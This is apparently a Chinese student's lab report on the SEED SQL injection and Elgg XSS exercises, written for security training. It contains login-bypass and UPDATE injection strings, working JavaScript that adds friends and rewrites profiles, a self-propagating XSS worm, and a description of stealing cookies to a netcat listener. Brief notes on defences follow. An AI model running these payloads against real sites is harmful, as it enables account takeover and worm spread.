20212821 2021-2022-2 《网络攻防实践》实践十报告

1.实践内容

1.1 SEED SQL注入攻击与防御实验

本实践主要是完成针对SQL注入攻击与防御的相关实践任务,如熟悉SQL语句、利用上述Web应用存在的SQL输入漏洞,实现对SELECT语句的SQL注入攻击在不知道密码的情况下登陆该Web应用程序以及通过员工的更新个人界面实施针对UPDATE语句的SQL注入攻击,最后还进行了一些常用的SQL对抗技术,以修复上述SQL注入攻击的漏洞。

1.2 SEED XSS跨站脚本攻击实验(Elgg)

在本次实践中,先后分别进行了针对XSS跨站脚本攻击的发布恶意消息,显示警报窗口、弹窗显示cookie信息、窃取受害者的cookies并将cookie发送给攻击者以及利用XSS跨站脚本攻击实现在不用其他干预的情况下只是访问一个页面就成为受害者的朋友的功能,并同时使用相关的工具了解Elgg加好友的过程,最后还进行了使用XSS跨站脚本攻击实现在访问一个用户主页时修改受害者的信息并且更进一步编写XSS蠕虫实现上述功能并使之具备蠕虫的特性;最后,还进行了有关对抗XSS攻击的探讨。

2.实践过程

2.1 SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
SQL对抗:修复上述SQL注入攻击漏洞。
具体的实践过程如下:

2.1.1 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

首先,我们打开虚拟机的终端,之后在终端中输入命令mysql -uroot -p登录到数据库,该数据库的密码为seedubuntu,登录过程如下图所示:

登陆成功之后,我们再通过以下命令:“use Users;”和“show tables;”切换到Users数据库并查看数据库中所有的表,如下图所示:

接下来我们使用命令select * from credential查询该表中所有的项,查询结果如下图所示:

同样,我们也可以使用如下命令根据条件查询具体用户的相关信息:
select * from credential where Name = 'Boby'

2.1.2 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

首先我们打开本实践需使用的网站 SEEDLabSQLInjection.com,如下图所示:

接下来我们使用如下命令打开该网站所对应的文件:

打开文件如下图所示:

之后我们向下翻页,可以看到一段有关数据库查询的代码,如下图所示:

从中我们可以详细地看到从提交表单到查询所经过的流程,其中,Admin和普通员工的处理方式是不同的;
其中所使用到的SQL查询语句如下:
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’
如果我们输入的username字段为Admin‘#,Password字段为任意值;那么我们通过上述代码组合sql语句就可以得到如下的sql查询语句:
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’Admin' #’ and Password=’$hashed_pwd’
“#”表示注释,后面的内容被注释掉,因此上述SQL查询语句也就变成了:
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’Admin'
这样一来我们就利用它不进行安全性检查的漏洞实现了SQL注入攻击;
通过这种方式,我们就可以欺骗服务器,成功登录用户主页,登录过程如下图所示:

密码为任意输入,点击登录按钮,登陆成功,如下图所示:

2.1.3 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

首先我们通过如下命令来查看后端的代码:

从中我们可以找到有关数据库更新的代码,如下图所示:

分析上述代码的SQL语句是进行SQL注入攻击的关键;
如果我们输入的nickname字段为‘, salary=’1‘ where Name=’Alice‘; # ,那么最终被构建的sql语句就将变化为:
UPDATE credential SET nickname=’‘, salary=’1‘ where Name=’Alice‘; # ’,email=’$input_email’, address=’$input_address’, Password=’$hashed_pwd’, PhoneNumber=’$input_phonenumber’ WHERE ID=$id;";
在上述查询语句中,改变了原本不应该改变的salary字段值;
首先我们查看各用户原本的salary字段的值:

然后我们登录Admin的个人主页,然后点击左上方的Edit Profile按钮,之后进入更新页面;
在这个页面中,为了实现SQL注入攻击,nickname字段的值我们输入为:', salary='1000' where Name='Alice'; #
其他地方任意输入,如下图所示:

之后点击SAVE按钮,然后我们回到Alice的员工信息表页面,可以看到Alice的salary被修改为了我们预先设定的值1000,说明对UPDATE语句的SQL注入攻击成功,如下图所示:

之后又登录Alice的个人账号尝试修改Boby的salary信息,同样获得成功,如下图所示:

上述实践结果说明对UPDATE语句的SQL注入攻击成功。

2.1.4 SQL对抗:修复上述SQL注入攻击漏洞。

在实际工程项目中,通常使用下述方法实现对SQL注入攻击的防御:
1.使用类型安全(type-safe) 的参数编码机制;
2.凡是来自外部的用户输入,必须进行完备检查;
3.将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象;
4.加强SQL数据库服务器的配置与连接.

2.2 SEED XSS跨站脚本攻击实验(Elgg)

具体的实践过程如下:
为了更好地进行该实践,我们需在浏览器中下载HTTP HEADER LIVE:
首先打开浏览器扩展,然后在浏览器扩展中搜索HTTP HEADER LIVE,之后将它添加到浏览器中,如下图所示:

添加完成之后,就可以通过如下方式打开它了:

接下来我们继续进行实验:

2.2.1 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

首先我们登录实验所使用的网址:www.xsslabelgg.com,如下图所示:

之后我们先用Alice的账号密码进行登录,密码为seedalice:

登陆成功如下:

之后我们点击左上角头像进入个人主页:

点击edit profile按钮进入编辑个人信息页面:

之后我们往下找到Brief description并在其中插入我们的XSS攻击代码;如下图所示:

之后我们往下滑找到保存按钮并点击保存:

点击保存之后我们回到个人主页就可以看到XSS的攻击效果,出现了警报窗口,如下图所示:

2.2.2 弹窗显示cookie信息:将cookie信息显示。

该实验只需将上一步实验中插入Brief description中的代码修改为即可完成,如下图所示:

点击保存后的效果如下:

如图所示,成功通过弹窗显示了cookie信息。

2.2.3 窃取受害者的cookies:将cookie发送给攻击者。

首先获取虚拟机的IP地址:

要实现该功能,只需将上一步实验中插入Brief description中的代码修改为:

该命令将使用GET请求将cookie信息发送给攻击方;如下图所示:

点击保存:

然后登录用户Boby,密码为seedboby:

登录之后点击members,找到并添加Alice为好友、访问主页:


在这期间我们可以在攻击机终端中使用nc命令对设定端口进行tcp监听,这里可以显示GET请求获得的cookie值:

2.2.4 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程

首先我们打开之前我们介绍安装的HTTP HEADER LIVE,如下图所示:

然后我们登录用户Boby并尝试添加Alice为好友,结果如下:

点击HTTP HEADER LIVE 框,可以看到更详细的信息:

从上图中我们可以了解到正常添加好友时后台所发送的指令;
从中我们可以很详细的看到请求的方式和地址以及参数信息
结合上文我们分析得到的信息,可以编写出如下的代码,用于xss攻击自动添加好友:

点击查看代码
<script type="text/javascript">
window.onload = function () {
	var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;

	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 

	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	Ajax.send();
}
</script>

之后我们将这段代码放到用户Alice的About Me模块内,注意右上角要调成Edit HTML模式,然后点击保存,如下图所示:

之后我们登录用户Boby删除Alice好友并查看:

之后点击左上角的选项列表并点击members然后访问Alice的主页:

可以看到我们并没有点击添加Alice为好友;
之后我们再回到自己的主页并查看自己的好友列表如下图所示:

可以看到实际上Boby已经添加Alice为好友;
上述实验说明我们已经成功使用js程序在无需受害者干预的情况下添加受害者为朋友,成功进行本次XSS攻击;

2.2.5 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

在进行本次实验之前,我们仍需使用HTTP HEADER LIVE 查看正常情况下修改资料后台发送的指令,点击edit profile,结果如下:

点击HTTP HEADER LIVE 查看详细信息:

从中我们可以很详细地看到请求方式、地址、参数以及其他信息;
我们可以编写出如下的代码,用于xss攻击自动添加好友:

点击查看代码
<script type="text/javascript">
	window.onload = function(){
		//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
		//and Security Token __elgg_token
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "name=" + userName + "&description=<p>XSS Attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		//FILL IN
		var samyGuid=44;
		//FILL IN
		if(elgg.session.user.guid!=samyGuid)
		{
			//Create and send Ajax request to modify profile
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>

首先打开Alice的主页:

然后将这段代码编写在Alice主页个人信息修改页面的About me模块的EDIT HTML模式下,如下图所示:

之后点击保存按钮:

然后登录用户Boby:

并访问用户Alice的主页:

之后返回自己的主页:

发现Boby的About me部分已经被修改了,点击进入Boby的资料编辑页面可以看到更详细的信息,如下图所示:

2.2.6 编写XSS蠕虫

在上述攻击过程中所编写的XSS攻击模块并不具备传染性,接下来我们通过修改相关代码使之具备传染性,即编写XSS蠕虫:
像之前的攻击一样,我们首先要在Alice的About me模块的EDIT HTML模块插入以下代码:

点击查看代码
<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>XSS Attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>

如下图所示:

点击保存:

之后我们登录用户Boby:

然后访问用户Alice的主页:

之后我们回到Boby自己的主页,发现Boby的About me部分被修改,如下图所示:

之后我们打开Boby的资料编辑部分,发现同样遭到了修改:

接下来我们来测试该XSS攻击是否具有蠕虫的传染性:
首先我们打开另一个用户Admin:

然后使用用户Admin访问用户Boby的主页:

之后我们再次回到Admin自己的主页,同样发现Admin的主页和资料编辑页面的About me部分遭到了和Boby同样的修改,如下图所示:

上述实验结果说明本次编写的XSS攻击具有蠕虫的特点,成功编写出了XSS蠕虫攻击;

2.2.7 对抗XSS攻击

对于XSS攻击,我们通常可以使用如下方式进行对抗:
首先可以使用内建的安全插件HTMLawed禁止部分代码块的执行来防御XSS攻击。
其次还可以使用PHP的内建函数htmlspecialchars用以转义上文中的HTML代码中的一些符号进而来对抗XSS攻击。

3.学习中遇到的问题及解决

  • 问题1:关于javascript语言不太熟悉
  • 问题1解决方案:上网查找有关资料并参考其他同学的博客

4.实践总结

本次实践内容主要集中在对SQL注入攻击以及XSS攻击的实施与防御方面;
通过本次实践,我对SQL注入攻击、XSS攻击都有了一个初步的了解,对XSS蠕虫的编写也有了一个初步的认识;
初步学习web网络攻防,使我对网络攻击与防御技术有了一个更加深入的了解。

参考资料

《网络攻防技术与实践》

posted @ 2022-05-18 11:00  ~嘉然今天吃什么  阅读(77)  评论(0编辑  收藏  举报